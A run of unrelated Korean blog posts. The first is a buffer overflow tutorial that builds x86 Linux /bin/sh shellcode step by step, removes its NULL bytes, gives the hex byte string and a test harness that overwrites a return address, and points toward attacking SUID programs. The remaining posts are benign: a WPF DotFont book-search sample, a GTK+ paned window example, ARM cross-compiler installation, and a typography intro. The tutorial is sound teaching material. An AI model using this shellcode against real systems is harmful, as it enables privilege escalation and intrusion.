오랜만에 뵙네여. 바로 시작합니다. (시그장님 흠좀무..ㄷㄷ)
전 글에서 설명하였듯이 스택의 적당한 곳에 우리가 직접 작성한 쉘코드를 집어넣어주면 된다. 하지만 이는 말처럼 쉽지만은 않다. 쉘코드를 C언어로 작성한다면 쉽지만 스택에 삽입해야 하기 때문에 기계어 수준의 코드를 필요로 한다는 점이다. 아울러 우리가 삽입한 코드의 어드레스를 알기가 그리 쉽지 않다는 것이다. 하지만 이런 어려움들을 이번 글에서 극복해본다.
쉘코드를 만드는 문제는 이미 인터넷에 현재 널리 사용되는 OS들의 쉘코드가 해커들 사이에 돌아다니고 있기 때문에, 그것을 얻음으로써 어느 정도는 쉽게 해결할 수 있다.
우리가 삽입한 코드의 정확한 위치를 아는 방법은 수많은 시행착오를 통해서 해결할 수 있는데, 여러번 시도해 보면 스택의 어디쯤에 삽입된 코드가 저장되어 있는지를 대략 짐작할 수 있다. 하지만 그 코드를 실행하기 위해서는 정확한 어드레스를 알아야 된다. 이것은 그 코드 앞에 충분히 많은 NOP(null operation) 코드를 삽입한 후 리턴 어드레스가 그 NOP를 가리키게끔 하는 방법으로 극복할 수 있다.
C로 짠 쉘코드
#include <stdio.h> void main() { char *name[2]; name[0] = "/bin/sh"; name[1] = NULL; execve(name[0], name, NULL); } |
위 코드를 디스어셈블하여 보면..
$gcc -o shellcode -ggdb -static shellcode.c $gdb shellcode ... (gdb) disassemble main Dump of assembler code for function main: 0x8048124 <main>: pushl %ebp ... |
jmp 0x2a popl %esi movl %esi, 0x8(%esi) movb %0x0, 0x7(%esi) movl %0x0, 0xc(%esi) movl $0xb, %eax movl %esi, %ebx leal 0x8(%esi), %ecx leal 0xc(%esi), %edx int $0x80 movl %0x1, %eax movl %0x0, %ebx int $0x80 call -0x2f .string "/bin/sh" |
여기서 잠깐->
이 어셈코드를 스택에 넣은 다음 실행시키면 /bin/sh를 실행시키게 된다. 그렇게 하기 위해서는 위의 코드를 명령인자에 넣어주기 위해선 문자배열로 만들어야 되는데 다음과 같은 문자배열을 만들 수 있다.
"\xeb\x2a" |
이것을 스택에 넣고 실행시키면 문자열 "/bin/sh"가 실행된다.
char shellcode[] = "\xeb\x2a" "\x5e" "\x89\x76\x08" "\xc6\x46\x07\x00" "\xc7\x46\x0c\x00\x00\x00\x00" "\xb8\x0b\x00\x00\x00" "\x89\xf3" "\x8d\x4e\x08" "\x8d\x56\x0c" "\xcd\x80" "\xb8\x01\x00\x00\x00" "\xbb\x00\x00\x00\x00" "\xcd\x80" "\xe8\xd1\xff\xff\xff" "/bin/sh";
{ int *ret; ret = (int *)&ret + 2; (*ret) = (int)shellcode; } |
[hankyung@hankyung]$ gcc -o test_shell test_shell.c [hankyung@hankyung]$ ./test_shell bash$ exit exit [hankyung@hankyung]$ |
-> 쉘코드가 제대로 작동한다.
-> 쉘코드가 정수형이다. Exploit 시에 취약점을 가진 프로그램은 문자형 버퍼를 사용한다. 그래서 \x00 과 같은 NULL 바이트는 문자의 끝으로 인식하기 때문에 쉘코드를 끝까지 실행시킬 수 없다. 이제 NULL 바이트를 없애보자.
movb $0x0, 0x7(%esi)
movl $0x0, 0xc(%esi)
이것을
아래처럼
xorl %eax, %eax
movb %eax, 0x7(%esi)
movl %eax, 0xc(%esi)
(xorl => excursive or. 같은 값을 xor함)
movl $0xb, %eax
이것을
이렇게
movb $0xb, %al
movl $0x1, %eax
movl $0x0, %ebx
이것을
요롷코롬
xorl %ebx, %ebx
movl %ebx, %eax
inc %eax
변환한 쉘코드의 코드를 보면
jmp 0x1f popl %esi movl %esi, 0x8(%esi) xorl %eax, %eax movb %eax, 0x7(%esi) movl %eax, 0xc(%esi) movb $0xb, %al movl %esi, %ebx leal 0x8(%esi), %ecx leal 0xc(%esi), %edx int $0x80 xorl %ebx, %ebx movl %ebx, %eax inc %eax int $0x80 call -0x24 .string "/bin/sh" |
이것을 다시 문자배열로 만들어 보자.
"\xeb" "\x1f" "\x5e" "\x89" "\x76" "\x08" "\x31" "\xc0" "\x88" "\x46" "\x07" "\x89" "\x46" "\x0c" "\xb0" "\x0b" |
우선 이 코드가 어떻게 동작하는지 보자.
* jmp 0x1f
call -0x24로 점프한다.
* call -0x24
popl %esi를 호출한다. 이는 문자열 "/bin/sh"가 저장되어 있는 메모리의 영역을 알아내기 위해서이다. (call을 사용하면 리턴 어드레스가 스택에 push됨)
* popl %esi
스택에 있는 리턴 어드레스 (/bin/sh 가 있는 어드레스)를 pop 해서 %esi에 저장.
* movl %esi, 0x8(%esi)
%esi로부터 8만큼 떨어진 곳에 %esi (/bin/sh의 어드레스)를 저장한다.
* xorl %eax, %eax
%eax를 NULL로 만든다.
* movb %eax, 0x7(%esi)
%esi로부터 7만큼 떨어진 곳에 %eax(NULL)의 1바이트를 저장한다.
* movl %eax, 0xc(%esi)
%esi로부터 12만큼 떨어진 곳에 %eax(NULL)의 4바이트를 저장한다.
* movb $0xb, %al
%al에 11을 저장한다.
* movl %esi, %ebx
%esi를 %ebx에 저장한다. 현재 %esi는 /bin/sh의 어드레스를 가지고 있다.
* leal 0x8(%esi), %ecx
%esi로부터 8만큼 떨어진 곳의 어드레스를 %ecx에 저장한다. 이것은 /bin/sh의 어드레스가 저장되어 있는 곳의 어드레스.
* leal 0xc(%esi), %edx
%esi로부터 12만큼 떨어진 곳의 어드레스를 %edx에 저장한다. 이곳에는 NULL이 저장되어 있다.
* int $0x80
0x80 인터럽트를 호출한다. 여기까지 정상적으로 수행이 되었다면 execve(name[0], name, NULL)을 실행시키게 된다. %ebx에 있는 값이 name[0]이고 %ecx에 있는 값이 name이며 %edx에 있는 값이 NULL 이다.
* xorl %ebx, %ebx
%ebx를 NULL 로 만든다.
* movl %ebx, %eax
%ebx(NULL)를 %eax에 저장한다.
* inc %eax
%eax를 1만큼 증가시킨다.
* int $0x80
0x80 인터럽트를 호출한다. 쉘을 실행시킨 다음 이 부분은 exit를 호출해서 프로그램을 종료하는 코드이다.
쉘코드를 만들어봤습니다.
이제 공격대상 프로그램의 특정 함수의 리턴 어드레스를 알아내어 삽입하여 봅시다. 그리고 Buffer over flow 공격에 취약한 SUID 프로그램에 명령인자로 넣어주면 됩니다. 다음 글에서는 이것을 가지고 Buffer over flow 공격을 해봅시다. @^^@
이전시간에 올렸었던 DotFont를 사용한 샘플입니다. 기능은 사용자에게 키워드를 입력받고 해당하는 도서들을 검색합니다. 그리고 도서를 출력할 때 키워드를 DotFont로 변환하여 점 하나하나를 검색된 도서를 출력합니다. 아래는 시연 동영상입니다.
멤버십에서 작업을 하고있는데.. 멤버십 인터넷이 상당히 느려서 검색 결과가 약간 늦게 뜨네요.. ㅠㅠ
동영상을 끝까지 보다보면 한글도 잘표시가 되는 것을 확인 하실 수 있습니다. 이번 예제는 코드가 꾀 긴 관계로 중요한 코드만 여기서 설명하고 전체 소스코드는
첨부파일로 올리도록하도록 하겠습니다..
아래는 이번 예제에서 가장 핵심(?) 되는 부분이라고 할 수 있는 DotFont의 활용 부분입니다.
- foreach (Point Dot in DotString)
- {
- Book BookItem = BookItems[Random.Next(0, BookItems.Count - 1)];
- BitmapSource Source = BookItem.Image;
- Rectangle DotItem = new Rectangle();
- DotItem.Width = DotItem.Height = Random.Next(1500,2000) / 100;
- DotItem.Fill = new ImageBrush(Source);
- DotItem.Tag = BookItem;
- DotItem.RenderTransform = new RotateTransform(Random.Next(-360, 360));
- DotItem.MouseEnter += new MouseEventHandler(DotItem_MouseEnter);
- DotItem.MouseLeave += new MouseEventHandler(DotItem_MouseLeave);
- DotItem.MouseLeftButtonUp += new MouseButtonEventHandler(DotItem_MouseLeftButtonUp);
- Canvas.SetLeft(DotItem, Dot.X - DotItem.Width / 2);
- Canvas.SetTop(DotItem, Dot.Y - DotItem.Height / 2);
- ResultCanvas.Children.Add(DotItem);
- }
foreach (Point Dot in DotString) { Book BookItem = BookItems[Random.Next(0, BookItems.Count - 1)]; BitmapSource Source = BookItem.Image; Rectangle DotItem = new Rectangle(); DotItem.Width = DotItem.Height = Random.Next(1500,2000) / 100; DotItem.Fill = new ImageBrush(Source); DotItem.Tag = BookItem; DotItem.RenderTransform = new RotateTransform(Random.Next(-360, 360)); DotItem.MouseEnter += new MouseEventHandler(DotItem_MouseEnter); DotItem.MouseLeave += new MouseEventHandler(DotItem_MouseLeave); DotItem.MouseLeftButtonUp += new MouseButtonEventHandler(DotItem_MouseLeftButtonUp); Canvas.SetLeft(DotItem, Dot.X - DotItem.Width / 2); Canvas.SetTop(DotItem, Dot.Y - DotItem.Height / 2); ResultCanvas.Children.Add(DotItem); }
기타 질문은 리플이나 메일 보내주시면 답변드리도록 하겠습니다.
PS. 코드를 보시면 중간에 OPENAPI Key를 입력하시는 부분이 있습니다. 해당 부분을 본인의 OpenAPI Key로 설정하셔야 동작됩니다.
안녕하세요. 오늘은 GTK+ widget Paned에 대해서 설명해 보겠습니다. Table을 이용해서 화면을 분할하듯이 paned을 이용해서 분할할 수 있습니다. Paned은 window widget의 한 영역으로 사용자가 크기를 상대적으로 조절하여 두영역으로 나누어서 쓸 수 있습니다. 두 영역 사이에는 handle이 달린 홈이 있고 이를 마우스로 드래그해서 사용자는 원하는 대로 두 영역의 비율을 바꿀 수 있습니다. 이러한 분할은 수평(HPaned)적이거나 수직(VPaned)적이 됩니다.
새 paned window를 만들려면 다음중 하나를 불러 사용합니다.
GtkWidget* gtk_hpaned_new (void)
GtkWidget* gtk_vpaned_new (void)
Paned window widget을 만든 다음에는 나누어진 양쪽에 자식 widget을 주어야 합니다. 이는 다음 함수들을 이용해서 이루어집니다.
void gtk_paned_add1 (GtkPaned *paned, GtkWidget *child)
void gtk_paned_add2 (GtkPaned *paned, GtkWidget *child)
gtk_paned_add1()는 paned 윈도 widget의 왼쪽 혹은 윗쪽에 자식 widget을 더합니다.
gtk_paned_add2()는 반대로 오른쪽 혹은 아랫쪽에 더합니다.
한 예로는 가상적인 E-mail 프로그램의 사용자 인터페이스 일부를 만들어 보려고합니다. 말이 거창할 뿐, 그리 어렵진 않습니다. 앞에 많은 예제를 다루어 봤듯이 GTK+는 반복적인 틀로 만들어지기 때문에 소스만 보아도 이해가 가능할 것입니다.
오늘 만들어 볼 E-mail 프로그램은 E-mail 메시지들의 리스트를 표시하는 윗 부분과 메시지 내용을 표시하는 아랫 부분으로 나누어 집니다. 간단한 프로그램이지만 오늘도 역시 중요한 부분이 있겠죠? 오늘의 중요한 사항은 두가지 입니다. 두가지의 중요한 부분을 집고 넘어 가겠습니다. 두가지 주의해야 할 점은 다음과 같습니다. 텍스트는 텍스트 widget에 이것이 realize되기 전에는 더해질 수 없습니다. 이는 gtk_widget_realize()를 호출해서 이루어지지만 또 다른 방법으로 text를 더하기 위해 "realize" 시그널을 연결할 수도 있습니다. 또한, GTK_SHRINK 옵션을 text 윈도와 스크롤바를 포함하고 있는 테이블 내용 일부에 더해주는 것이 필요합니다. 그래야만 아랫 부분을 작게 만들때 윈도의 바닥이 밀려나는 대신 원하던 부분이 줄어들게 됩니다.
/* paned.c */
#include <gtk/gtk.h>
/* "messages"의 리스트를 만듭니다 */
GtkWidget *
create_list (void)
{
GtkWidget *scrolled_window;
GtkWidget *list;
GtkWidget *list_item;
int i;
char buffer[16];
/* 스크롤바(필요할 때만)가 딸린 스크롤된 윈도를 만듭니다. */
scrolled_window = gtk_scrolled_window_new (NULL, NULL);
gtk_scrolled_window_set_policy (GTK_SCROLLED_WINDOW (scrolled_window),
GTK_POLICY_AUTOMATIC,
GTK_POLICY_AUTOMATIC);
/* 새로운 리스트를 만들어 이를 스크롤된 윈도에 집어넣습니다. */
list = gtk_list_new ();
gtk_container_add (GTK_CONTAINER(scrolled_window), list);
gtk_widget_show (list);
/* 윈도에 메시지 몇개를 더합니다 */
for (i=0; i<10; i++) {
sprintf(buffer,"Message #%d",i);
list_item = gtk_list_item_new_with_label (buffer);
gtk_container_add (GTK_CONTAINER(list), list_item);
gtk_widget_show (list_item);
}
return scrolled_window;
}
/* 텍스트 몇개를 텍스트 widget에 더합니다. - 아래 함수는 우리의 윈도가 realize 될
때 불리는 callback합수입니다. gtk_widget_realize로 realize되도록 강제할 수도 있지만
그건 먼저 계층구조의 한 부분이 되어야 할 것입니다.
*/
void
realize_text (GtkWidget *text, gpointer data)
{
gtk_text_freeze (GTK_TEXT (text));
gtk_text_insert (GTK_TEXT (text), NULL, &text->style->black, NULL,
"From: pathfinder@nasa.gov\n"
"To: mom@nasa.gov\n"
"Subject: Made it!\n"
"\n"
"We just got in this morning. The weather has been\n"
"great - clear but cold, and there are lots of fun sights.\n"
"Sojourner says hi. See you soon.\n"
" -Path\n", -1);
gtk_text_thaw (GTK_TEXT (text));
}
/* "message"를 보여주는 스크롤된 텍스트 영역을 만듭니다. */
GtkWidget *
create_text (void)
{
GtkWidget *table;
GtkWidget *text;
GtkWidget *hscrollbar;
GtkWidget *vscrollbar;
/* 텍스트 위젯과 스크롤바를 갖는 테이블을 만듭니다 */
table = gtk_table_new (2, 2, FALSE);
/* 텍스트 위젯을 왼쪽 위에 놓습니다. Y 축 방향으로 GTK_SHRINK가 쓰인 것을 주목해야 합니다. */
text = gtk_text_new (NULL, NULL);
gtk_table_attach (GTK_TABLE (table), text, 0, 1, 0, 1,
GTK_FILL | GTK_EXPAND,
GTK_FILL | GTK_EXPAND | GTK_SHRINK, 0, 0);
gtk_widget_show (text);
/* HScrollbar를 왼쪽 아래에 놓습니다. */
hscrollbar = gtk_hscrollbar_new (GTK_TEXT (text)->hadj);
gtk_table_attach (GTK_TABLE (table), hscrollbar, 0, 1, 1, 2,
GTK_EXPAND | GTK_FILL, GTK_FILL, 0, 0);
gtk_widget_show (hscrollbar);
/* VScrollbar를 오른쪽 위에 놓습니다. */
vscrollbar = gtk_vscrollbar_new (GTK_TEXT (text)->vadj);
gtk_table_attach (GTK_TABLE (table), vscrollbar, 1, 2, 0, 1,
GTK_FILL, GTK_EXPAND | GTK_FILL | GTK_SHRINK, 0, 0);
gtk_widget_show (vscrollbar);
/* 텍스트 widget이 realize되었을 때 그 widget이 갖고 있는 메시지를 출력해주는 시그널 핸들러를 더합니다. */
gtk_signal_connect (GTK_OBJECT (text), "realize",
GTK_SIGNAL_FUNC (realize_text), NULL);
return table;
}
int
main (int argc, char *argv[])
{
GtkWidget *window;
GtkWidget *vpaned;
GtkWidget *list;
GtkWidget *text;
gtk_init (&argc, &argv);
window = gtk_window_new (GTK_WINDOW_TOPLEVEL);
gtk_window_set_title (GTK_WINDOW (window), "Paned Windows");
gtk_signal_connect (GTK_OBJECT (window), "destroy",
GTK_SIGNAL_FUNC (gtk_main_quit), NULL);
gtk_container_border_width (GTK_CONTAINER (window), 10);
/* vpaned widget을 만들어서 toplevel 윈도에 더합니다. */
vpaned = gtk_vpaned_new ();
gtk_container_add (GTK_CONTAINER(window), vpaned);
gtk_widget_show (vpaned);
/* 이제 윈도 두 부분의 내용을 만듭니다. */
list = create_list ();
gtk_paned_add1 (GTK_PANED(vpaned), list);
gtk_widget_show (list);
text = create_text ();
gtk_paned_add2 (GTK_PANED(vpaned), text);
gtk_widget_show (text);
gtk_widget_show (window);
gtk_main ();
return 0;
}
오늘도 간단한 예제를 해보았습니다. 어떠하였는지요? 정말 길지도 않죠? 처음 배웠던 내용의 기본적인 내용을 뺀다면 정작 프로그램에서 사용하는 내용은 얼마 없죠? GTK+의 매력~~~
안녕하세요. 박진영입니다.
제가 올린 글들을 주욱 보았는데,,하드웨어를 잘 모르시는 분들이 보시면 일관성이 없어보일듯 하여서,
제가 올리고 있는 글들에 대해서 설명을 잠시 할까 합니다.
우선 제가 하고 있는 블로그의 중점은 오실로스코프 만들기 입니다.
- 제가 하고 있는 프로젝트이죠.^^
그에 대해서 필요한 하드웨어와 기본적인 이론 지식들을 정리하고 있는 것 입니다.
우선 ARM 이라는 코어를 활용해서 그래픽 쪽을 담당하게 됩니다.
그리고 FPGA를 이용해서 필요한 신호의 측정 연산을 하게 됩니다.
하지만 FPGA 쪽을 담당하는 분이 계셔서 저는 FPGA를 제외한 부분의 배경지식들을 알려드리려고 합니다.
그럼 제가 올리려는 분야의 크게 본다면,
1. 오실로 스코프의 기능
2. 오실로 스코프의 제작시 필요한 이론들
3. ARM을 제어하기 위한 기본적인 지식
4. ARM을 이용한 개발보드 EZ-S2410의 지식들이 되겠습니다.
- 2410을 이용한 디바이스 드라이버 작성
오늘은 저번 시간에 이어서 ARM 내용을 말씀드리려고 합니다.
그 중에서도 크로스 컴파일러에 대하여 소개해 드립니다.
----------------------------------------------------------
우선, 크로스 컴파일러의 개념에 대해서 네이버 사전을 찾아봅시다.
본문 |
원시 프로그램의 번역이 이루어지는 컴퓨터와 번역된 기계어에 이용되는 컴퓨터가 서로 다른 기종의 컴퓨터일 때 사용하는 컴파일러의 한 가지. 어떤 컴퓨터에서 동작하는 프로그램을 만들기 위해 다른 컴퓨터의 개발 환경을 사용해서 프로그램을 작성하는 경우에 사용된다. 동작 속도가 느린 컴퓨터, 완성되어 있지 않은 컴퓨터, 개발 환경 구축이 불가능한 컴퓨터용의 실행 프로그램을 만드는 경우 등에 사용한다. 예를 들면, 마이크로프로세서의 프로그램 개발 또는 게임기의 프로그램 개발은 이와 같은 방법을 채택하는 경우가 많다. |
역시 이것은 FALINUX 회사에서 알려주는 크로스 컴파일러의 개요 입니다.
--------------------------------------------------------------------------------------------일반적으로 컴파일러는 자신의 실행되고 있는 시스템에서 실행되는 바이너리코드를 만듭니다. 예를 들어 x86의 시스템에서 gcc를 사용하여 컴파일하면 x86에서 실행되는 실행 바이너리 파일이 생성됩니다. 이렇게 자신이 실행되고 있는 시스템에 실행할 수 있는 실행 파일을 만드는 컴파일러를 네이티브 컴파일러라고 합니다.
역시 임베디드 리눅스가 설치된 장치에서 실행되는 프로그램을 만들기 위해서는 임베디드 리눅스용 네이티브 컴파일러가 필요합니다. 그러나 임베디스 시스템은 열악한 환경을 위해 만들어진 시스템이기 때문에 프로젝트 소스를 에디트하면서 네이티브 컴파일러를 운영하기 위한 리소스가 매우 부족한 경우가 많습니다.
그러므로 임베디드 보드에서 직접 프로그램을 작성하기 보다는 개발 작업이 용이한 일반 PC를 개발용 호스트로 운영하면서 프로그램 소스 작성 뿐만 아니라 임베디드 리눅스 보드. 즉, 타겟 보드에서 실행되는 실행파일을 만들어 주는 컴파일러를 사용하여 프로그램을 생성합니다.
이렇게 자신이 실행되고 있는 환경과는 전혀 다른 환경에서 실행되는 프로그램을 만들어 주는 컴파일러는 크로스 컴파일러라고 합니다. 또한 크로스 컴파일러는 타겟보드의 CPU에 따라서 다양한 컴파일러가 있습니다.
크로스 컴파일 환경에 포함되는 내용은 아래와 같습니다.
- 어셈블러 및 로더 기타 툴
binutils- 컴파일러
gcc- 크로스 컴파일 구축을 위한 라이브러리 및 일반 라이브러리
- glibc
크로스 컴파일러란 리려는 대상의 칩에 따라서 PC의 프로그램(컴파일러)이 달라진다는 정도로 이해하셔도 도움이 되실 듯 합니다.
밑에서 부터는 제가 사용하고 있는 개발보드의 크로스 컴파일러 설치 과정입니다.
사실 크로스 컴파일러의 설치는 어렵지 않습니다.
AVR128 같은 경우에는 위도우에서 AVR-studio를 설치하는 것으로 끝입니다.
ARM7TDMI기반의 AT91SAM7S시리즈의 경우에는 ADS프로그램과 SAM-BA프로그램을 까는 것 정도로 크로스컴파일러를 포함한 개발환경을 모두 구축할 수 있게 됩니다.
하지만 제가 사용하는 개발보드의 경우에는 FALINUX라는 회사에서 ARM에다가 커널을 올려놓아버렸기 때문에,,,^^
ARM기반의 리눅스에 맞는 방식으로 컴파일을 해줘야 합니다.
그래서 PC에 리눅스를 깔고 ,gcc를 깔고,, 그외 기타 부수적인 것들을 설치하게 되는데,,,,,,
이걸 통째로 묶음으로 회사에서 제공을 하게 됩니다. 그래서 그걸 깔면 대부분의 작업들이 간편하게 완료됩니다.
--------------------------------------------------------------------------------------------
개발 호스트에 크로스 컴파일러를 설치하기 위해서는 크로스 컴파일러 소스를 구해서 직접 컴파일하여 설치해야 하기 때문에 쉽지 않습니다. 이에 저희 (주)FALINUX는 용이하게 설치할 수 있도록 Tool Chain 압축 파일을 제공하고 있으며, 이 압축 파일을 풀기만 하면 설치가 완료됩니다.
크로스 컴파일러를 아래의 순서에 따라 설치하십시오.
- Tool Chain 압축 파일을 구한다.
- root 권한으로 루트 디렉토리(/)에 압축 풀기를 한다.
- 컴파일러가 제대로 설치되었는지 확인하다.
구매하신 제품 중에 동봉된 CD에서 Tool Chain 파일을 구하실 수 있습니다.
EZ 보드 Tool Chain 압축 파일 EZ-PXA270 cross_compiler/arm-toolchain-3.4.3.tar.gz EZ-AU1200 cross_compiler/mipsel-toolchain-3.4.4.tar.gz EZ-S3C2440 cross_compiler/arm-toolchain-3.4.3.tar.gz ESP-MMI cross_compiler/arm-toolchain-3.4.3.tar.gz
EZ-X5 cross_compiler/rpm-wow7.1
cross_compiler/rpm-wow7.3
cross_compiler/rpm-wow8.0
cross_compiler/src
또는 FALINUX 포럼 자료실>>ToolChain 페이지에서 내려 받으실 수 있습니다.
![]()
또한 FALINUX 포럼 자료실에는 EZ 보드별로 따로 페이지를 구성해 놓았습니다. 구매하신 EZ 보드의 모델 이름에 해당하는 링크를 클릭하시면 "ToolChain & Ram disk" 리크가 있습니다. 이 링크를 이용하셔도 ToolChain 을 구하실 수 있습니다.
EZ-X5, EZ-S3C2440, 설치 방법은 CD에서 복사한 Tool Chain 압축 파일을 root 권한으로 루트(/)에서 압축을 풀기만 하면 설치가 완료됩니다.
본 설명에서는 제품과 동봉된 CD의 Tool Chain 압축 파일을 이용하여 크로스 컴파일러를 설치하도록 하겠습니다.
]$ su - // 반드시 root 권한으로 작업합니다. 암호: ]# cd / // 반드시 루트 디렉토리로 이동합니다. ]# mount /dev/dcdrom /mnt/cdrom mount: block device /dev/cdrom is write-protected, mounting read-only ]# tar zxvf /mnt/cdrom/cross_compiler/arm-toolchain-3.4.3.tar.gz 리눅스 설치 본에 따라 /mnt/cdrom이 없는 경우가 있습니다. CentOS 같은 경우 /mnt/cdrom 대신에 /media 가 사용됩니다. 그러므로 /media로 마운트합니다. ]# mount /dev/dcdrom /media mount: block device /dev/cdrom is write-protected, mounting read-only ]#tar zxvf /media/cross_compiler/arm-toolchain-3.4.3.tar.gzARM 용 크로스 컴파일러는 arm-linux-gcc 입니다. 컴파일러가 옳바르게 설치되었는지 확인하기 위해 아래와 같이 컴파일러의 버전 번호를 확인해 봅니다.
]# arm-linux-gcc --version arm-linux-gcc (GCC) 3.4.3 Copyright (C) 2004 Free Software Foundation, Inc. This is free software; see the source for copying conditions. There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. ]#이와 같이 컴파이러 버전 정보가 출력되었다면 정상적으로 설치된 것입니다.
설치 방법은 CD에서 복사한 Tool Chain 압축 파일을 root 권한으로 루트(/)에서 압축을 풀기만 하면 설치가 완료됩니다.
본 설명에서는 제품과 동봉된 CD의 Tool Chain 압축 파일을 이용하여 크로스 컴파일러를 설치하도록 하겠습니다.
]$ su - // 반드시 root 권한으로 작업합니다. 암호: ]# cd / // 반드시 루트 디렉토리로 이동합니다. ]# mount /dev/dcdrom /mnt/cdrom mount: block device /dev/cdrom is write-protected, mounting read-only ]# tar zxvf /mnt/cdrom/cross_compiler/mipsel-toolchain-3.4.4.tar.gz 리눅스 설치 본에 따라 /mnt/cdrom이 없는 경우가 있습니다. CentOS 같은 경우 /mnt/cdrom 대신에 /media 가 사용됩니다. 그러므로 /media로 마운트합니다. ]# mount /dev/dcdrom /media mount: block device /dev/cdrom is write-protected, mounting read-only ]#tar zxvf /media/cross_compiler/mipsel-toolchain-3.4.4.tar.gz컴파일러가 옳바르게 설치되었는지 확인하기 위해 아래와 같이 컴파일러의 버전 번호를 확인해 봅니다.
]# mipsel-linux-gcc --version mipsel-linux-gcc (GCC) 3.4.4 Copyright (C) 2004 Free Software Foundation, Inc. This is free software; see the source for copying conditions. There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. ]#이와 같이 컴파이러 버전 정보가 출력되었다면 정상적으로 설치된 것입니다.
이번에는 제가 세미나나 발표 할시 항상 강조하는 타이포그래피에 관한 내용에 대해서 풀어볼까 합니다. 타이포그래피는 그래픽 디자이너에게 기본중의 기본과도 같은 부분이고 또한 항상 바르게 쓰여야 할 중요한 사항이기 때문에 늘 강조하고 있는부분입니다. (그렇다고 해서 제가 타이포그래피에 대해서 굉장한 일가견을 갖고 있는것은 아니니 오해는 마시기 바랍니다...^^; 항상 잘쓰고 싶어서 노력은 하고 있습니다만...)
그래서 다음과 같은 정보를 찾아왔는데 우리가 항상 쓰고 읽는 타이포그래피에 대한 내용을 조금더 이해해보자는 측면에서 보여드립니다. 자세히 읽으실 필요는 없지만 그냥 이런게 있구나 하는 정도만으로도 충분하다고 생각합니다. ^^
그럼 즐겁게 읽어보시길...